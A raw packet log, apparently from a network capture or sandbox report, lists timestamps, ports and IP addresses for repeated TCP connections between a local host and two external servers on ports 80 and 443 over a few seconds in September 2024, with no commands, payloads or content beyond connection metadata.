Sep 27, 2024 17:42:13.133946896 CEST	443	49757	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:13.136122942 CEST	49758	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:13.136131048 CEST	443	49758	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:13.136198044 CEST	49758	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:13.136550903 CEST	49758	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:13.136559963 CEST	443	49758	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:13.506381989 CEST	80	49756	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:13.506432056 CEST	49756	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:13.507097960 CEST	49756	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:13.511959076 CEST	80	49756	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:13.630501032 CEST	443	49757	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:13.630631924 CEST	49757	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:13.632049084 CEST	49757	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:13.632061005 CEST	443	49757	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:13.632306099 CEST	443	49757	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:13.633497000 CEST	49757	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:13.639627934 CEST	443	49758	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:13.639729977 CEST	49758	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:13.640834093 CEST	49758	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:13.640841007 CEST	443	49758	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:13.641195059 CEST	443	49758	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:13.641973972 CEST	49758	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:13.675453901 CEST	443	49757	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:13.687449932 CEST	443	49758	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:13.733561039 CEST	80	49756	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:13.733632088 CEST	49756	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:13.848297119 CEST	49756	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:13.848690033 CEST	49759	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:13.853568077 CEST	80	49759	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:13.853636026 CEST	80	49756	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:13.853701115 CEST	49759	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:13.853754997 CEST	49756	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:13.853938103 CEST	49759	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:13.858800888 CEST	80	49759	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:14.208919048 CEST	443	49757	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:14.208983898 CEST	443	49758	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:14.209008932 CEST	443	49757	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:14.209074020 CEST	49757	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:14.209081888 CEST	443	49758	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:14.209151983 CEST	49758	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:14.209326982 CEST	49757	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:14.209348917 CEST	443	49757	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:14.209363937 CEST	49757	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:14.209369898 CEST	443	49757	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:14.209564924 CEST	49758	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:14.209569931 CEST	443	49758	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:14.209602118 CEST	49758	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:14.209605932 CEST	443	49758	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:14.492444038 CEST	49760	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:14.492506981 CEST	443	49760	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:14.492588043 CEST	49760	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:14.492928982 CEST	49760	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:14.492947102 CEST	443	49760	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:14.538391113 CEST	49761	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:14.538430929 CEST	443	49761	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:14.538568974 CEST	49761	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:14.538889885 CEST	49761	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:14.538901091 CEST	443	49761	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:14.569432974 CEST	80	49759	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:14.569647074 CEST	49759	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:14.570529938 CEST	49759	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:14.575325966 CEST	80	49759	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:14.803164005 CEST	80	49759	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:14.803297997 CEST	49759	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:14.910890102 CEST	49759	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:14.911307096 CEST	49762	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:14.916249990 CEST	80	49759	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:14.916333914 CEST	80	49762	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:14.916357040 CEST	49759	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:14.916416883 CEST	49762	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:14.916593075 CEST	49762	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:14.921705008 CEST	80	49762	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:14.961797953 CEST	443	49760	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:14.961886883 CEST	49760	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:14.963229895 CEST	49760	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:14.963248968 CEST	443	49760	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:14.963608027 CEST	443	49760	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:14.964513063 CEST	49760	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:15.007425070 CEST	443	49760	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:15.032973051 CEST	443	49761	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:15.033092022 CEST	49761	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:15.034593105 CEST	49761	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:15.034605026 CEST	443	49761	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:15.034883976 CEST	443	49761	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:15.036075115 CEST	49761	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:15.083416939 CEST	443	49761	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:15.384988070 CEST	443	49760	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:15.385109901 CEST	443	49760	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:15.385262966 CEST	49760	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:15.385564089 CEST	49760	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:15.385624886 CEST	443	49760	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:15.385659933 CEST	49760	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:15.385675907 CEST	443	49760	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:15.436295033 CEST	443	49761	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:15.436405897 CEST	443	49761	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:15.436562061 CEST	49761	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:15.437064886 CEST	49761	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:15.437064886 CEST	49761	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:15.437088013 CEST	443	49761	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:15.437102079 CEST	443	49761	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:15.610800028 CEST	80	49762	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:15.610868931 CEST	49762	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:15.611680984 CEST	49762	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:15.616476059 CEST	80	49762	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:15.789150953 CEST	49763	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:15.789239883 CEST	443	49763	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:15.789347887 CEST	49763	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:15.789691925 CEST	49763	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:15.789721012 CEST	443	49763	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:15.839762926 CEST	80	49762	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:15.841454983 CEST	49762	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:15.870693922 CEST	49764	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:15.870757103 CEST	443	49764	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:15.870845079 CEST	49764	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:15.871220112 CEST	49764	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:15.871236086 CEST	443	49764	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:15.957870960 CEST	49762	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:15.958350897 CEST	49765	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:15.962876081 CEST	80	49762	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:15.962970972 CEST	49762	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:15.963115931 CEST	80	49765	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:15.963195086 CEST	49765	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:15.963418007 CEST	49765	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:15.968153954 CEST	80	49765	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:16.395487070 CEST	443	49764	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:16.395545006 CEST	443	49763	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:16.395584106 CEST	49764	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:16.395648956 CEST	49763	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:16.399925947 CEST	49763	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:16.399941921 CEST	443	49763	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:16.400281906 CEST	443	49763	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:16.401021957 CEST	49764	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:16.401030064 CEST	443	49764	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:16.401354074 CEST	443	49764	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:16.401767015 CEST	49763	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:16.402403116 CEST	49764	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:16.443391085 CEST	443	49764	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:16.443393946 CEST	443	49763	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:16.650677919 CEST	443	49764	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:16.650774956 CEST	443	49764	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:16.655263901 CEST	49764	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:16.655340910 CEST	49764	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:16.655360937 CEST	443	49764	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:16.655375957 CEST	49764	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:16.655380964 CEST	443	49764	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:16.663414001 CEST	80	49765	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:16.667294025 CEST	49765	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:16.759260893 CEST	49765	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:16.764202118 CEST	80	49765	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:16.818746090 CEST	443	49763	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:16.818856001 CEST	443	49763	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:16.819015980 CEST	49763	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:16.840097904 CEST	49763	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:16.840145111 CEST	443	49763	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:16.840166092 CEST	49763	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:16.840174913 CEST	443	49763	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:16.987288952 CEST	80	49765	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:16.989701986 CEST	49765	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:17.098372936 CEST	49765	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:17.098828077 CEST	49766	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:17.246130943 CEST	49767	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:17.246165037 CEST	443	49767	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:17.246228933 CEST	49767	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:17.246718884 CEST	49767	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:17.246738911 CEST	443	49767	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:17.373845100 CEST	80	49766	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:17.373929024 CEST	49766	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:17.374164104 CEST	49766	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:17.375530958 CEST	80	49765	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:17.375583887 CEST	49765	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:17.379009008 CEST	80	49766	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:17.398678064 CEST	49768	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:17.398804903 CEST	443	49768	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:17.398881912 CEST	49768	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:17.399307013 CEST	49768	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:17.399343014 CEST	443	49768	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:17.828440905 CEST	443	49767	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:17.828528881 CEST	49767	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:17.829971075 CEST	49767	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:17.829992056 CEST	443	49767	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:17.830255032 CEST	443	49767	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:17.831207037 CEST	49767	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:17.875400066 CEST	443	49767	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:17.881442070 CEST	443	49768	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:17.881551981 CEST	49768	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:17.882910013 CEST	49768	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:17.882922888 CEST	443	49768	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:17.883415937 CEST	443	49768	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:17.884382010 CEST	49768	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:17.927447081 CEST	443	49768	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:18.096131086 CEST	80	49766	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:18.097867966 CEST	49766	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:18.098745108 CEST	49766	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:18.103557110 CEST	80	49766	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:18.244704962 CEST	443	49767	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:18.244841099 CEST	443	49767	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:18.245116949 CEST	49767	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:18.245511055 CEST	49767	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:18.245533943 CEST	443	49767	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:18.245548010 CEST	49767	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:18.245558023 CEST	443	49767	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:18.302736998 CEST	443	49768	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:18.302900076 CEST	443	49768	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:18.302979946 CEST	49768	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:18.303344965 CEST	49768	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:18.303406000 CEST	443	49768	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:18.303451061 CEST	49768	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:18.303467989 CEST	443	49768	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:18.329432011 CEST	80	49766	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:18.329984903 CEST	49766	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:18.442508936 CEST	49766	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:18.442975044 CEST	49769	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:18.447695017 CEST	80	49766	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:18.447752953 CEST	80	49769	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:18.447799921 CEST	49766	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:18.447885990 CEST	49769	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:18.448019028 CEST	49769	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:18.452749968 CEST	80	49769	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:18.589236021 CEST	49770	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:18.589333057 CEST	443	49770	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:18.589443922 CEST	49770	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:18.589889050 CEST	49770	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:18.589912891 CEST	443	49770	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:18.616913080 CEST	49771	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:18.616964102 CEST	443	49771	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:18.617039919 CEST	49771	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:18.617362976 CEST	49771	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:18.617377043 CEST	443	49771	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:19.057818890 CEST	443	49770	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:19.057898998 CEST	49770	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:19.059273958 CEST	49770	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:19.059289932 CEST	443	49770	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:19.059577942 CEST	443	49770	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:19.060276031 CEST	49770	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:19.093841076 CEST	443	49771	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:19.093945980 CEST	49771	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:19.103446007 CEST	443	49770	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:19.125655890 CEST	49771	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:19.125694036 CEST	443	49771	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:19.126144886 CEST	443	49771	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:19.126892090 CEST	49771	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:19.162811041 CEST	80	49769	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:19.162889957 CEST	49769	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:19.163757086 CEST	49769	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:19.167397022 CEST	443	49771	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:19.168536901 CEST	80	49769	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:19.395610094 CEST	80	49769	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:19.395709991 CEST	49769	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:19.500128984 CEST	443	49770	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:19.500226021 CEST	443	49770	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:19.500283957 CEST	49770	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:19.515973091 CEST	443	49771	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:19.516072989 CEST	443	49771	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:19.516139030 CEST	49771	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:19.516822100 CEST	49770	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:19.516851902 CEST	443	49770	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:19.516865015 CEST	49770	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:19.516870975 CEST	443	49770	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:19.603893042 CEST	49769	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:19.608156919 CEST	49772	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:19.609432936 CEST	80	49769	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:19.609524012 CEST	49769	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:19.613317013 CEST	80	49772	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:19.613416910 CEST	49772	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:19.691888094 CEST	49772	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:19.696846962 CEST	80	49772	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:19.766902924 CEST	49771	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:19.766942024 CEST	443	49771	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:19.766956091 CEST	49771	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:19.766963959 CEST	443	49771	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:19.992290020 CEST	49773	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:19.992331028 CEST	443	49773	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:19.992418051 CEST	49773	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:19.992743015 CEST	49773	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:19.992757082 CEST	443	49773	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:20.039016008 CEST	49774	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:20.039028883 CEST	443	49774	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:20.039122105 CEST	49774	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:20.039503098 CEST	49774	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:20.039515018 CEST	443	49774	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:20.351269007 CEST	80	49772	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:20.351329088 CEST	49772	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:20.352669954 CEST	49772	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:20.358824968 CEST	80	49772	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:20.780484915 CEST	80	49772	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:20.780563116 CEST	49772	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:20.782382965 CEST	443	49773	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:20.782479048 CEST	49773	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:20.782582998 CEST	443	49774	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:20.782645941 CEST	49774	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:20.783735991 CEST	49773	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:20.783745050 CEST	443	49773	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:20.783992052 CEST	443	49773	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:20.784710884 CEST	49773	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:20.784742117 CEST	49774	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:20.784746885 CEST	443	49774	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:20.784981966 CEST	443	49774	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:20.785687923 CEST	49774	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:20.827403069 CEST	443	49774	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:20.827408075 CEST	443	49773	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:20.897715092 CEST	49772	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:20.898045063 CEST	49775	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:20.906852961 CEST	80	49775	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:20.906963110 CEST	49775	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:20.907125950 CEST	49775	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:20.907171965 CEST	80	49772	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:20.907226086 CEST	49772	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:20.913516998 CEST	80	49775	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:21.278204918 CEST	443	49773	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:21.278306007 CEST	443	49773	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:21.278357029 CEST	49773	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:21.278568029 CEST	49773	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:21.278592110 CEST	443	49773	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:21.297646046 CEST	443	49774	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:21.297745943 CEST	443	49774	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:21.297787905 CEST	49774	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:21.298091888 CEST	49774	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:21.298106909 CEST	443	49774	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:21.298135042 CEST	49774	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:21.298140049 CEST	443	49774	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:21.523137093 CEST	49776	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:21.523179054 CEST	443	49776	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:21.523250103 CEST	49776	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:21.523716927 CEST	49776	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:21.523729086 CEST	443	49776	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:21.649245977 CEST	49777	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:21.649286032 CEST	443	49777	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:21.649384022 CEST	49777	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:21.649914026 CEST	49777	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:21.649924994 CEST	443	49777	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:21.764983892 CEST	80	49775	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:21.765044928 CEST	49775	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:21.766148090 CEST	49775	80	192.168.2.4	185.215.113.16
